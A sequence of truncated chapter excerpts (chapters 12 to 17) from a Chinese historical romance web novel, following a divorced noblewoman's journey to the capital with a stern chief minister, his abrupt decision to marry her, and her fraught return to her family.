她的嗓音轻软,吐出的话一句接着一句,就算没有得到回应也不在乎,喋喋不休,比山林的鸟雀还要吵。 一会儿温 12. 第十二章 《二嫁古板老男人》全本免费阅读 但凡裴氏女白日时不是和五爷歇在同一辆马车里面,但凡她的举动显露一分不自在,但凡匡梁没有隐隐约约暗示过五爷对裴氏女非同寻常,邬庭绝对不会让人靠近马车一分。 可惜,等他反应过来的时候,裴惊鹊的人已经在马车里面了。 夜色静廖,除了那一轮明月,天空还闪烁着无数的繁星。 邬庭的手中握剑,黑眸紧紧盯着,一旦光影和声音有任何不对的地方,他会立刻出手诛杀裴氏女! 然后,他就透过一点点缝隙看到了一个模糊软下的身影,听到了窸窸窣窣似是宽衣解带的声音……还有女子娇滴滴喊“世叔”的腔调…… “退下。” 赫然,马车内传来一道低沉的话音,邬庭眉目间的寒意瞬间敛去,恭敬地做了个手势,连着他数十名亲卫齐齐往后退去。 乌木马车几十米的范围内成了一片空地。 随后便是一盏青色的陶灯被点燃,照亮了此时车厢中的所有情状。 乌发披散下来的女子露出一张雪白色的小脸,她规规矩矩地跪坐在大氅的一角上面,一双手却胆大妄为地溜进了他的衣袖里面,正与他的手臂相贴在一起,身体还是先前倾斜的,仿佛依偎在他的怀里。 顾峤借着烛光看到了一双妩媚含水的眼眸,眼尾微勾,中仁溜圆,其中有害羞有惊讶,就是没有一丝一毫的羞惭。 “世叔,侄女不小心惊动您休息了,真是罪该万死!”她的唇中吐出抱歉的话,可那双手却没有一点要收敛的意思,更是肆无忌惮地往里探去。 不老实的手指头像是点着火苗,每触碰到一处就要留下一阵令人灼烧的感觉。 烛光下,顾峤望着她的眼神平常又冷淡,除了暗了一些依旧不见任何的欲色,这一点倒是和顾明曜口中的叔父一模一样,不为女色所动。 裴惊鹊的脸颊泛红,一点点向下,最终亲昵地贴在了他的胸腹之间,隔着一层鹤氅听到了不快不慢的心跳声。 顾首辅,面对她蓄意的试探连心跳的频率都没有变化。 果然是自己是多想了,这些年来她就不信没有更娇更媚甚至更大胆的女子凑到他的身前,顾首辅仍然孑然一身毫无破绽,足以说明她的猜测确实很荒谬。 一旦认定了这一点,裴惊鹊的心中难得涌出了一分对自己的唾弃。 她是用小人之心度君子之腹了,万一这位对她很纵容的顾世叔因此而生气动怒,那之前的谋划可就…… “半夜偷溜进来,裴惊鹊,你说说你一个大家女郎,如今又在做什么?” 怕什么来什么,他慢慢地看着她叹了一口气,然后毫不留情地用力压住了她纤薄的后背。 像是要故意给她一个刻骨的教训,他轻轻一抬手,不仅反将她制住,一件宽大的氅衣又蒙住了她所有的感知。 眼前漆黑一片,鼻尖抵着坚实的胸膛,裴惊鹊不再是感受到窒息而是切切实实地无法再呼吸。 拼了全力得到的一点稀薄空气带着铺天盖地的冰雪,冷冽扑面而来,她的指尖攥紧,怎么都挣扎不开,心里才生出害怕来。 她开始不停地扭动,车窗上交叠在一起的身躯出现了轻微的起伏。同时,她的唇缝呢喃出不成声的语调,委屈地讨饶,一调微高,一调又忽然转低。 退开的众人已经垂下了眸,很快在听到女子断断续续的呻吟后,又将头垂的很低。 …… 在裴惊鹊失去了所有的力气,身体软的没骨头一样的时候,按在她后背的大手终于松开。 她的身躯软软地向下滑,被人捞了一把后抬头,脸颊嫣红,瞳孔涣散,白皙细腻的下巴处冒着细细小小的汗珠。 差一点,只差一口气,她就会被活活地闷死在一片冰天雪地的气息中。 裴惊鹊弯了弯唇,半阖着眼皮朝人露出了一个心醉神迷的笑容,勾人摄魄,却又含着孩童般的纯真。 “世……世叔莫要生气,侄女……丢了手腕上的镯子,那……那是母亲留给我的遗物,我想岔了,以为遗失在这里……世叔放在了身上,所以来找一找。” 理由听上去错漏百出地拙劣,然而她说起来竟是不见心虚的,哪怕才从死亡的边缘被拉回来。 “咔哒”一声,马车的一方暗格被打开,一只玉镯漫不经心地出现在裴惊鹊的面前。 “就是它,原来真的在世叔这里。”女子的眼睛一亮,说话的语气也变得流畅起来。 顾峤伸出手掌抹 13. 第十三章 《二嫁古板老男人》全本免费阅读 过新堂,还要做新娘! 听到她唱这首童谣,匡梁等人的脸色全都变幻不止。 裴氏女果然处心积虑,故意黏上来就是为了要做五爷的夫人! 没记错的话,她前两天才与河东郡丞周晋安和离,而再往前,曾经她是五爷亲侄子的未婚妻,退婚时还与顾家闹的沸沸扬扬。 如此女子怎能成为他们的主母!然而,裴氏女又切实从五爷的马车中下来……他们此时的心情都很复杂。 裴惊鹊并不知道有些人仅仅凭借她口中随意唱的两句童谣就断定她居心叵测准备嫁给顾首辅,她现在甭提多老实了,连幺蛾子都不再弄了。 早起她打扮整齐就去取干净的溪水泡一壶清茶奉给她尊敬的世叔,务必让世叔喝到最新鲜的茶水。 中午尽心尽力为世叔准备可口精致的膳食,坚决不再让世叔入口干巴巴的饼子寡淡的粥点。 晚上在山林间休息的时候更不敢马虎,让人熬制了补汤,连她花费了千金买到的野参都巴巴献了出来。 这支野参据说功效非凡,足足有八百年之久了,必要的时候可以保命,裴惊鹊宝贝了好多年。 她此时愿意拿出自己的珍藏,足见诚意有多么大了。 “世叔,这株野参年份久远,品相完好,是我花了千金才买到的,滋补身体最好。世叔您在朝为官殚精竭虑,总有不逮的时候,每日得喝些补汤才妥当呢,野参是侄女的孝敬,您老人家就收下吧。” 对待长辈,无非就是送各种补品,裴惊鹊也算有经验,考虑到顾首辅的年纪,珍贵的野参一股脑儿就拿了出来,态度十分诚恳。 看的匡梁嘴角抽抽,不知情的人听到这话还以为他们家五爷是七八十的糟老头子,连路都走不稳呢。 他又怀疑起裴惊鹊的心思了,眼神微带诡异,暗道裴氏女一边想做五爷的夫人一边又明晃晃地将五爷当作迟暮的老者,也不知有什么盘算。 顾峤淡淡看了有意孝敬的世侄女一眼,没有否定她的孝心,不过东西他并未收下。 “知道你有心,但野参珍贵,你自己留着就好。”他的语气寻常,看不出是欢喜还是不悦。 裴惊鹊睁着一双眼睛仔细看了两遍,有些失望地将东西又收了回去,这次她真的是好心,奈何顾世叔不太领情呢。 那要不送些书画? “我的嫁妆中有前朝阎大家的书法贴,还有师先生的墨宝,不知世叔您可感兴趣?”她眼珠转了转,目光落在男人那一双筋骨遒劲的大手上,矜持地提出请顾世叔品鉴,前朝的笔墨,算起来总该符合文人的喜好吧。 “不必。” 然而,她费心劳神地投其所好,顾首辅的脸色却肉眼可见地冷了下来,比方才都要明显,只回了她寥寥两个字。 裴惊鹊不知道自己哪里惹到了他,眨着眼皮笑了两声,手指打开玉白的瓷瓶,小口小口饮起了自带的梅露。 大补的野参不愿意收,书画也不喜欢,这人招惹他不生气,讨好他也不高兴,唉,真不知道从哪方面入手了。 顾明曜说的很对,他的亲叔父的确难以捉摸。 裴惊鹊七想八想,一瓶梅露很快被她饮了一半,清冽的梅香在空气中弥漫,她伸出舌尖舔了舔唇瓣,模样享受。 甜滋滋的,味道多好啊。 她微眯着眼睛还要再饮一口,这个时候,她发现顾世叔的灰眸对准了她,也许是篝火映衬,他的眸中竟出现了如同火苗一般的波动。 裴惊鹊恍惚了一瞬,愣愣地看向了自己手中的玉白瓷瓶,又舔了下唇瓣。 一个惊人的念头蓦然出现在她的脑海中,顾世叔莫非是对她饮的梅露起了兴趣? 她想了想,乖巧地看向自己手中还剩下半瓶的梅露,“世叔要尝一尝吗?甜甜的香香的,很好喝呢。” 语不惊人死不休,那梅露可是她喝过的…… 匡梁等人觉得她放浪形骸,跟在裴惊鹊身边服侍的青萍和翡香等人也有些吃惊。 自家娘子自幼就有一种常人无法理解的怪癖,她颇爱饮用四季鲜花的汁液露水,其中梅露是她最钟爱的,每日都不可缺少。 因此,青萍和翡香常常会从她的身上嗅到一股淡淡的百花香,尤其清灵微冷的梅香最为明显。 这种气味是从她的身体中自然而然散发出的,已经溶于她的血肉,比寻常女子涂抹的脂粉香膏不知要好闻多少倍。 裴家的姐妹,周家的女眷甚至宫中的嫔妃都明里暗里向裴惊鹊讨过秘诀,然而她一瓶梅露都没给出去。皆因这种采集又经过窖藏的梅露十分难弄,仅仅够裴惊鹊一个人饮用。 此时此刻她舍得将梅露分享出去,不得不说这种讨好的确是真心实意。 顾峤沉默了一会儿,随后点了点头,竟是答应了。但他并未伸出手去接,而是皱眉示意她主动递过来。 裴惊鹊没想那么多,反而对顾世叔看中了她饮用的梅露很高兴,双手恭敬地捧着递了过去。 电光火石之间,她的手腕被一只大手握住,稳稳地拽了过去,同时,一支不知从何处射出的冷箭从她上一刻在的位置呼啸而过,扎进了坚硬的树干之中。 “敌袭,预警!” 匡梁等人神色立刻变化,脸色难看地拔出了刀剑,将随之而来的箭簇斩落 14. 第十四章 《二嫁古板老男人》全本免费阅读 可是裴惊鹊等啊等啊,厮杀的声音都慢慢消失了,那一声夸奖还是没有听到。 唉,顾世叔可真是持重啊。 她轻轻地叹了一口气,正要贴心地开口让世叔不要将这件微不足道的小事挂在心上,都是她应该做的。 结果,她略一抬眼皮,却看到顾峤正朝着她走来。 裴惊鹊这时还在笑,等到她被他高大的身影完全笼罩在其中,无声的压迫感袭来,她笑不出来了。 四周很安静,裴惊鹊意识到了危险,不是因为追杀她的贼人,而是因为……低头打量她的顾峤。 顾峤的目光让裴惊鹊恍然想起,这种冰冷的审视他曾经看过周晋安,像是在衡量这个人的价值,来决定他面前人最后的结局。 世叔他又动怒了吗? 裴惊鹊忽然就觉得委屈起来,不大开心地扔了手中的空瓷瓶,自己确实没有动歪心思了,也不是试探,真的只是帮世叔一个小忙。 “我记得,五年前你与明曜退婚时,庚帖上的年岁是十七。”很意外,他神色冷漠,一开口却不是兴师问罪而是说起了五年前的往事。 裴惊鹊小声应了是,心里已经翻江倒海,顾峤没有忘记她大闹顾家的事,那么他对待自己也是真的和顾明曜有关? 这个时候她压根没有去想为何他会知道自己和顾明曜的庚帖上写了什么。 还记了五年之久! “二十有二,倒也合适。”他略沉吟片刻,看裴惊鹊的眼神莫名有些奇怪。 “世叔的意思是?”裴惊鹊不明所以,内心深处的一分不安让她抿紧了唇瓣。 总觉得有什么不受控制的事要发生了。 “既然无对长辈的尊重,以后不要叫我世叔。”他神色发凉,保持着低头的动作,心中所想令人捉摸不透,“裴惊鹊,如你所想,你以后安分一些。” 这一刻,裴惊鹊顾不得去想他话中的深意,眼睫毛飞快颤动,因为当着那么多人的面,他的手握着她的肩膀,稳稳地将她抱了起来。 有人的口中发出了惊呼,顾峤的神色冷冷淡淡,瞥过去一眼,将人放置进了马车里面。 他之前就说过让她在马车里待着,她却总是不听话,费尽心机,时刻都在他面前作乱。 顾峤确实是动了怒,而且不止一次,但他无法用对付政敌的手段无情地对待一个顾家有愧的女子,还是个小辈,所以,他就只能换一个方式。 如她所愿,然后名正言顺地制止她的挑弄,失礼,放、荡。 直到顾峤重新恢复到不为外物所动的曾经,而她也成为一个端庄知礼的大家女娘。 裴惊鹊彻底呆住了,被他从手臂上放下来的时候整个人还是愣愣的。 他说的话什么意思?他竟然会将自己抱起来! 从来只是她“试探”或者好心帮忙,南辕北辙的两人才会有接近的时刻,可是刚才是他主动把自己抱了起来。 一只手扣着她的肩膀,另外一只手抓着她的罗裙,而她就高高地坐在他的手臂上,感受到他身体的温度。 裴惊鹊想不明白,眼睛一眨不眨地盯着人,脸上有一丝丝好奇,更多是不可思议和……紧张。 与她笑眼弯弯妩媚多姿的模样相比,多了几分真实与稚嫩。 也许是因为她紧张地不再笑,顾峤神色转缓,周身的逼人气势也有所收敛。 他的语气甚至变得温和,手指摘下一物递给她,让她待着等外头收拾干净了再出去。 裴惊鹊的手无意识地接过他递给自己的东西,脑袋还在发胀发昏,她知道这不对劲,但她为了保护自己下意识地保持了沉默,没有出声。 什么时候可以胡闹什么时候绝对不能招惹,她本能地比谁都要清楚。 而眼下,她就不可以轻举妄动,必须乖巧、安静。 见此,顾峤的灰眸中闪过满意,对自己的决定也不再迟疑。 他转身前看了裴惊鹊一眼,淡淡道,“回京后,我会派人到承恩公府商议。” 也不说具体要商议何事,他抬脚,将车厢留给了裴惊鹊一个人。 窒息的感觉减轻,裴惊鹊慢慢吞吞地倚着马车壁,才有心情查看递到自己手中的是什么东西。 墨绿色的,触手细腻,是那块刻着顾从易三个字的麒麟玉佩。 裴惊鹊将玉佩仔细看了几遍,思及方才发生的一切,眼中漾着的光芒忽然就黯淡了。 她有些沮丧还有些后悔,宁愿丢掉她捡到的玉佩不承人情也要上承恩公府的府门问罪,还不允许她再唤他世叔,可见这次顾首辅是气狠了。 太子表兄自身难保,她又招惹得罪了大人物,裴惊鹊的心情很是惨淡,屋漏偏逢连夜雨,这可如何是好哇? 从河东郡离开已经有四日,按照路程,过了涧水再有一两日的功夫就能到京城,她能为自己辩解的时间不多了。 一想到这里,裴惊鹊就想立刻下去,抓紧机会多讨好讨好顾首辅,让他知道自己真是一片好心。 然而脚才动了一下,她的耳边就回想起来他的命令,踌躇片刻,她最终还是选择了老实地待着。 或许,她急着去讨好,反而会被他认为不安分吧。 “我这次是被冤枉的。”裴惊鹊捂着玉佩哀叹,语气十分低落。 *** 顾峤身边养着的亲卫显然不是无能之辈,上一世裴惊鹊费心逃离的贼人这一次被杀了七七八八,仅有一小部分人见势不妙负伤逃脱。 邬庭带着人搜查了这些人的尸身,没有发现明显的身份特征,不过冲着一开始他们对裴氏女放冷箭的举动判定和京城有关。 毕竟裴惊鹊算是远嫁到河东郡,三两年的时间不至于养出一个死仇,京城才是她和人牵扯最深的地方。 他将自己的猜测禀报上去,没有得到回应。 邬庭抬眸看过去,顾峤面无表情地往篝火中添了一根松枝,火苗噼里叭啦,他的侧脸轮廓流畅分明。 心思难辨。 血腥气很 15. 第十五章 《二嫁古板老男人》全本免费阅读 太子曾经说过,裴惊鹊生了一副懒骨头,以及一颗热的快凉的更快的心。 对此,裴惊鹊很不以为然。 不过隔了一个晚上,当得知涧水已过,她歪在马车里面,手指有一下没一下地滑过墨绿色的玉佩,又觉得太子表兄的话有些道理。 因为知道被追杀的危机解了七七八八,京城就在眼前,裴惊鹊骨子里的那股懒散与凉薄重新占据了上风。 无论是讨好还是靠近顾峤的心思都淡了下来。 磨磨蹭蹭了许久,快到了中午,新的一壶云顶茶才被她泡出来,送到了顾峤的面前。 送去茶水的人是翡香,裴惊鹊自己散着头发压根没有从奢华的马车中出来,照她的话说,前不久才弄巧成拙讨好不成反惹了顾世叔生气,现在她就莫往人跟前凑了。 她朝着侍女们解释的时候振振有词,翡香和青萍两个跟随她多年的人却很明白,只是一个晚上,自家娘子的一颗心就冷了下来。 她对那位不知身份的大人兴致大减,恐怕再过一日到了京城,便提也不提一句了。 其中发生了什么她们并不知道,但对这个结果她们也不感到意外。 “昨夜可恨的贼人冲着娘子而来,多亏有大人相助,不然我们不会这般顺利过了涧水。”翡香奉命送去云顶茶,当着顾峤的面表达了对他的感谢,随后又恭敬地献上了放在锦盒里面的百年野参还有前朝的孤品书画。 顾峤拒绝过一次,裴惊鹊又锲而不舍地送了第二次,作为昨夜救了自己的感谢。 当然裴惊鹊知道以顾家的底蕴和顾峤的地位,根本不会缺少这些俗物,所以她又交代翡香说,日后如若有用到裴氏的地方,裴惊鹊一定不遗余力。 不再是裴惊鹊自己,而是整个裴氏,这个承诺是绝对有诚意的。 闻言,顾峤垂下眼睑,往日寡淡平静的面庞挂上了一分似有若无的笑意,像是冰面上生成的云雾,寒到彻骨,无法呼吸。 窥见他神色的亲信立刻知晓情况不对,默契地绷紧身体。 顾峤没说什么,略抬了抬眉,收下了裴惊鹊的谢礼,让侍女退下了。 他养气的功夫好,自然随便不会和一个女子计较。 往后的一日,虽然膳食和茶点依旧送上,但裴惊鹊都没有再露过面,她就像是彻底地回到了一个不大熟悉的世侄女该有的位置,保持敬重同时还有距离。 将进京城,两支车队要分道而行,裴惊鹊才微垂着颈子出现在乌木马车的前方,细声细气地请求拜见顾世叔,同其辞别。 顾峤的手中拿着一卷书,檀色冠发和衣袍整整齐齐,没有一处失礼的地方,他掀了眼皮看去,一双灰眸倒映出女子温良浅笑的脸庞,目光冷淡疏离。 也只是一眼,他的注意力又回到了书卷上,不置一词。 能够平安地到达京城,裴惊鹊的心情很好,她的唇角噙着一抹笑,认真地行礼道了谢,“这一路上多谢世叔照料,惊鹊不懂事,实在叨扰世叔。” “先前多次冒犯,惊鹊自知不对,一直没脸再见世叔,如今分别在即,惊鹊不得不厚着脸皮招世叔的眼,世叔千万不要再生气,以后惊鹊一定不再出现在世叔的面前。” 冷不丁地又见到人,裴惊鹊冷下来的心轻轻躁动起来,不过只是短短的一瞬,她清楚地意识到有些人自己最好敬而远之。 没有外物威胁的情况下,顾峤这类位高又不可捉摸的人她一般不会主动接近。 濒临窒息的感觉并不好受。 虽然男人成熟淡漠的外表令她有时蠢蠢欲动,他不着痕迹的放纵和那突然的一抱也让她从好奇中生出几分兴奋。 可惜与遗憾是真的,利用了人达到了目的就想抽身也是真的。 裴惊鹊在经历了沮丧与后悔过后,又想到这是一个好机会,她赔了罪,再给出谢礼,这段回京的旅程也就可以顺势结束了。 世人都觉得她放浪形骸不知廉耻,事实上裴惊鹊还是有那么一丁点儿的羞耻心在的,仔细一琢磨,自己为了保命前前后后对着端正的顾首辅……唉……不堪入目啊。 眼见着人对自己没那种心思,还动了怒,她也只能退的远远的,不惹人心烦。 “世叔放心,回京途中发生的所有事情,惊鹊都会守口如瓶,不向外人泄露一个字出去。” 裴惊鹊还在说,贴心地表示这段时日就当没有存在过,她不会影响顾首辅的清名。什么男女衣衫不整地共处一室,什么他帮她穿鞋,什么他抱着她……都是子虚乌有的事! 男人的手指翻过一张书页,冷白色的手背,青筋明显。 顾峤平静地看着前人对祭祀天地的描述,淡淡开口,语调听不出有任何情绪。 他说,“礼不可废,任何一个人都不能坏了规矩。” 这个人包括裴惊鹊,也包括他自己。 裴惊鹊肉眼可见地没有听懂他话中的意思,微微仰头,妩媚的眼眸朦胧迷茫,什么礼又是什么规矩。 顾峤终于抽空去看她,黑中带灰的瞳仁如同刮骨的刀,异常锐利,要将她整个人穿透。 裴惊鹊浑身一僵,那种不受控制的不安弥漫到全身,心道他的怒气还未消去? 低眉顺眼,她快速地承认了错误,连世叔也不敢再喊了,有些可怜地唤了顾相。 她还以为收下了野参和书画,就代表着他原谅了自己的失礼举动,没曾想根本就不是! 也对,那块墨绿色的玉佩他也没再要回去。 “顾相要如何才能消气,或者您要惊鹊如何去做不算坏了规矩?” 女子穿着飘逸的青色罗裙,外罩月白色的轻裘,她往前一步,唇瓣的嫣红一张一合,笑容很诚恳。 顾峤放下了手中的书卷,居高临下睨着她,眸光生冷,裴惊鹊脸上的笑容逐渐变得勉强。 她忽然意识到自己确实招惹了一个麻烦的存在,想要轻描淡写地收场显然没有那么容易。 不过再给她一次重来的机会,她还是会招惹人罢了,毕竟小命是最重要的。 “您要惊鹊怎么做?”面对他长久的凝视,她强撑着镇定,踮着脚尖冲他笑,一双水汪汪的眼睛漂亮生动。 短暂的对峙之后,顾峤伸出手,带着薄茧的指腹落在女子的发顶,轻轻地为她理了理头发,就像是嘱咐孩童一样,淡淡同她说,“先前我同你说过,只要存在,就不会被人遗忘。同样,发生过的事情,坏过的规矩,迟早会有人发现。” 头顶传来的力道很轻,却也太重,裴惊鹊呼吸微顿,一眨不眨地盯着人。 “你与明曜退婚,算是顾家对不起你,于情,你多次唐突冒犯,我却不能罚你要你的命。所以,于理,你凑过来破了男女大防,我就必须要娶你。” “回去准备吧,过后我会派人到承恩公府商议。” 他的手从她的发上收回,脸上的表情依旧没有波动,大概是在说一件不甚重要的小事。 不值得费心,也无需消耗精力。 男女大防坏了不止一两次,他多次警告她也并不收敛,在他做下了决定之后再乖巧地回归世侄女的位置,太晚了,也没有任何用处。 有心人只要查探,怎会不知这一路上发生了什么。 顾峤的声名与地位不会容许一个无法控制的隐患 16. 第十六章 《二嫁古板老男人》全本免费阅读 裴惊鹊进京之前裴家就得了信儿,府中的气氛诡异。 唯一真心欢喜不掺任何杂质的人是裴家的老管家裴大,他是裴惊鹊祖父留下的亲信,向来得主家看重。 老管家带着仆人里里外外将裴惊鹊出阁前所居的念慈院打扫了一遍,又亲自去请了裴家主君,裴惊鹊的亲生父亲裴郢。 裴郢身上虽有一个承恩公的爵位在,但在朝堂上并未担任实职,他听到裴大的禀报脑袋便是一疼。 至于他身边正在打理家务的温婉女子已是叹了又叹,开口派人将府中的儿女唤了过来,转过头来又对裴郢说,三年时间匆匆过去,该叫弘儿、四娘还有五郎都过来见见惊鹊。 裴郢没有否认她的说法,温婉女子见此眉眼不禁一暗,又道自己也是该避开的,恐怕女郎见到她心里不舒服。 “委屈阿萱了,惊鹊自幼性子就左,你避开也好。” 裴郢点点头,温萱也即府中的温姨娘脸色愈发暗淡,微笑着退下,刚好与听到动静的裴四娘遇见。 裴四娘是温姨娘所出的幼、女,在父亲裴郢的跟前很是得宠,她看到母亲脸上有些伤感的神色,心下一横,将人给拉住,说道,“母亲这是要去哪里,姐姐归家母亲理应好好招待。” 温姨娘的眼中闪过犹豫,但看裴郢皱着眉不知在想什么没有反对,默默地又留了下来。 裴四娘便很是欢喜,待看到接连前来的五郎还有兄长裴弘,脸上的笑容淡了下来,她的这位姐姐多年来损害裴家的声名,如今又是不光彩地与人和离,家里的人除了出嫁的三姐却全都要等在这里。 “去卢府通知三娘了没有?”裴郢恰好又问起嫁出去的另一个女儿,在场的一个仆妇恭声应是,半个时辰后,裴家三娘匆匆来到了主院。 到此,裴家主脉的人算是齐了。而紧随其后,听到风声的裴氏旁支庶房也都派了人过来。 裴惊鹊下了马车回到久违三年的家里,见到的便是主院几十口的人。 她先朝着父亲裴郢行了一礼,而后一口茶水未喝去祠堂给祖父祖母还有母亲范氏的牌位上了香,接着依次与族人们寒暄,最后才是与裴弘裴三娘等人说话。 “几年不见了,我从河东为你们带了些礼物,二郎,三娘,四娘,五郎,你们收好,若是喜欢就去念慈院再拿。”裴惊鹊看也不看陪侍在父亲裴郢身边的温姨娘,唇角噙着一抹淡淡的笑意,让侍女将自己带的礼物一一送给他们。 她坐在裴郢左手边的位置,明明坐了许多日的马车,明明是和离归家,可垂眼浅笑的样子不仅没有一丝疲惫,看起来比三年前更添几分光彩。 妩媚的眸子轻轻一挑,给所有人都是熟悉的感觉。 还是那个裴惊鹊,三年过去,她又回来了。 “多谢阿姊赠礼。”裴三娘率先起身道谢,脸上隐隐带着一分激动,无他,她接到手的礼物是几个兄弟姐妹中最珍贵的。 裴郢最小的儿子裴五郎年龄只有十岁,心思简单,看到裴惊鹊送给他一套骑射的用具,也亲昵地唤起了阿姊。 “喜欢就好。”裴惊鹊点点头,很快又和气地询问其他两人,“四娘还有二弟呢?喜欢吗?” 这一声二弟出口,堂中顿时一静,无人再敢说话。 裴惊鹊的父亲裴郢膝下共有二子三女,表面上裴惊鹊是嫡长女,可府中凡是待的时间长的老人都知道实则裴弘的年纪更长。 裴夫人范氏嫁入裴家的时候,温姨娘作为裴家的远房亲戚寄居在府中,等到裴夫人有孕,温姨娘不知怎么地就做了裴郢的妾室,更提前一步诞下了庶子裴弘。 裴夫人体弱,艰难诞下唯一的女儿裴惊鹊,病了两年就撒手人寰。 裴家要脸,可能是为了遮掩温姨娘在做妾室之前就有孕的事,也可能是为了平息范家的怒火,对外声称裴惊鹊才是长女,裴弘则是在温姨娘做了妾室“一年之后”才生下。 本来事情到了这里也就结束了,可是最近两年,为了能让裴弘顺利继承国公的爵位,温姨娘鼓动着裴郢和家族确立裴弘长子的身份。 裴惊鹊远嫁河东不在京城,存在逐渐淡去,慢慢地,裴弘长子的名头在众人心中越来越清晰。 然而,裴惊鹊回京,一声轻描淡写的二弟又将尴尬的过往摆了出来。 只要她在,裴弘就永远得不到长子的身份,也就和同为庶子的裴钦没有分别。 堂中鸦雀无声,裴惊鹊把玩着手中的麒麟玉佩,决定挑一个络子挂在上面,没有听到声音,慢慢悠悠地弯着唇。 “咦?二弟不说话,大家怎么也不说话了?”她好奇地四处打量,看到一个人脸上的笑意就加深一分。 脸色难看的裴弘、强压着不满的裴四娘…… 最后目光轻飘飘地落在自己父亲裴郢的身上,裴惊鹊倒了一杯茶水递过去,笑道自己三年不归家,府里安静了不少。 裴郢闻言,接过茶水咳了一声,问裴惊鹊今后有什么打算。 “你姑母被禁足,太子殿下也出不了承光宫,否则周氏那寒门小户岂敢张狂!”裴郢对周晋安不是很能看得上眼,照他觉得,自己的嫡女该嫁去门当户对的世族做宗妇。 “父亲既然知道姑母和表兄处境不好,问我的打算又有什么用。”裴惊鹊神色淡淡,裴氏原本是该父亲顶起来的,可他还不如出身不好的周晋安。 毕竟,周晋安考中探花,娶她,做河东郡丞,一步一步在振兴家族。 她的父亲一边担着祖父叔伯留下来的荣耀,一边却又将希望寄托在姑母和表兄的身上,从没想过自己立起来。 “唉,这次的危机也不知我裴氏能不能安然度过去。罢了罢了,说这些也是在徒增烦恼,枝枝,你长途跋涉先回去休息吧,我往宫里递个消息,看能不能让你与你姑母见上一面。”裴郢察觉到了女儿的兴致缺缺,讪讪一笑,转移了话题。 对着这个被父亲教养长大的嫡女,裴郢的底气总是不足。 裴惊鹊看了他一眼,站起身,青色的罗裙曳地。 她随手打了个哈欠,头也 17. 第十七章 《二嫁古板老男人》全本免费阅读 “方才你大嫂她们在这里说了会儿话,你这时过来可是有急事要和母亲说?” 顾峤走进正房,顾老夫人含笑指着杌子让他坐下。 她年事已高,人就有些备懒,在幼子未到之前倚在罗汉床上休息,几个儿媳在一旁交谈,她半合眼皮昏昏欲睡也没听进去几句。 但幼子一进门,顾老夫人就坐正了身体,银色发髻梳的一丝不苟,深紫色外袍端正庄重。 房中的婢女奉了茶上来,又无声地退至角落。 顾峤接过茶盏,嗅着寡淡许多的茶香,点头道,“儿确有一事需要母亲帮忙。” 顾老夫人精神一震,脸上禁不住流露出惊讶,顾峤虽是她最小的儿子,可十几岁开始就完全不必人操心,一举一动一言一行从未有出格的地方,官路也比常人走的都稳,他有什么需要自己帮忙的? “你尽管说,母亲一定帮你。” 顾老夫人实在想不到幼子有需要自己的地方,但不妨碍她一口应下。 顾峤神色自若,轻轻将茶盏放下,请求母亲为自己参详婚事,“诸如提亲、合婚、下聘等六礼儿已有章程,只劳累母亲一段时日即可。” 哪怕是婚姻这等人生大事,他一旦做下了决定,短短几日就定好了每一步的章程。 “……婚事,你这是要准备成婚了?”顾老夫人脸色怔忪,心中的错愕几乎超过了欣喜。 从易的婚事从他及冠之年就开始考量,十年了,她和顾老太爷都各自看中了合适的人家,但每次都是无功而返。 从易对婚事一直是淡淡的可有可无的态度,这些年下来,他们也都死了心,不再奢望他成家,更认定了他余生都不会有子嗣。 暗地里,顾老夫人和顾老太爷甚至有想过在其他几房中选一子过继到他的膝下,几个儿子儿媳恐怕也看了出来,老四妾室新生下的那个孩子就一直没有起名…… 却不想,在这个平平无奇的午后,她以为会孤独终生的幼子告诉他准备成婚。 “已经定下了,提亲时儿有意让荥阳郡公夫人前往,还请母亲帮忙。”对于顾老夫人的失神,顾峤垂下眼,装作没有看到。 “谢老夫人出身羊氏,乃是当今陛下的亲姨母,德高望重,请她为你提亲的确合适。”顾老夫人回过神来,不住点头,笑容也替代了脸上的惊讶,无论如何,她的幼子从易愿意成婚是一件好事。 急急喝了一口茶,顾老夫人才想起来询问最要紧的一个问题,“就是不知我儿看中的女子是谁家的?” “裴氏长女,裴惊鹊。”顾峤抬眸,淡淡一笑。 裴氏,不逊于顾家的名门望族。 闻言,顾老夫人的第一反应是松了一口气,说实话,幼子突然前来提起婚事,她还有些担心那女子的身份会上不得台面。 果然,幼子不需要人操心,因为他的性子就不会做有失颜面的事,不像她的二子不但蓄养家妓还把坊中舞女纳做妾室。 就是裴氏最近因为太子稍有些动荡,他们家先前与裴氏的嫡系闹的也有些不愉快……裴氏的旁支叫这个名字的女娘…… 裴氏裴惊鹊!顾老夫人腾地一下站起身,少见地失态,这不是先前明曜的未婚妻吗? 五年前她与明曜退婚,三年前另嫁他人,方才几个儿媳还说她和离归家。 怎么会是她? 顾老夫人大不理解,但又本能地相信幼子,所以张了张嘴欲言又止。 “裴氏女和离返京,途中恰好与我相遇,因我之故,她险些被人杀害。之后,我与她共乘一辆马车,于情于理,我该娶她。”明白顾老夫人的心里在想什么,顾峤神色不变,简短地解释了缘由。 “先前,母亲见过她,也知道裴氏女颜色姣好。对她,我心悦之。” 他的眼中一片平静,嘴边却笑意淡淡,比起年复一日的深沉,情绪之明显足以让人侧目。 也因为这抹笑,他整个人都显得柔和了些,灰眸给人的压迫感也无形消失。 顾老夫人暗暗纳罕,不禁回想见过裴家那小女娘的几次,她与自己的孙儿明曜站在一起,脸上总是带着笑,穿着明艳又飘逸的罗裙,将院中开的芙蓉牡丹都比了下去。 颜色姣好,确实没错。 不过,这不会是从易娶她的理由。还是因为她途中受到了从易的牵连吧。 “你既然决定好了,和你父亲说过,母亲就帮你操办婚事,先前她和明曜的旧事也不准族中再提。只是你兄嫂那里,心里恐怕会不舒服。”顾老夫人神色凝重,明曜同裴氏女退婚之后如今并未娶妻,长媳因此对裴氏女存有怨念,方才还在倾泻不满,若是知道从易要娶她,两房之间定生龃龉。 “大兄年前就已经为明曜看好了陈留董家女,婚约也已定下,等到他外放回京就可以成婚,时过境迁,以前的旧事还有谁会放在心上。” 他脸上的笑意收起,整个人看上去多出一分冷冽。 顾老夫人一愣便不再提起往事,转移了话题,笑道,“怪不得你要请谢老夫人去提亲,荥阳郡公的母亲就出身裴氏,是裴老国公的亲姑母,承恩公和皇后娘娘都要喊荥阳郡公一声表叔。” 世家大族们常年联姻,关系错综复杂,顾老夫人自己的弟媳范氏与裴惊鹊的生母就出身同一个范家,是亲姑侄关系。 故而,顾老夫人没怎么犹豫就答应了这桩婚事。她对裴惊鹊并无大的不满。 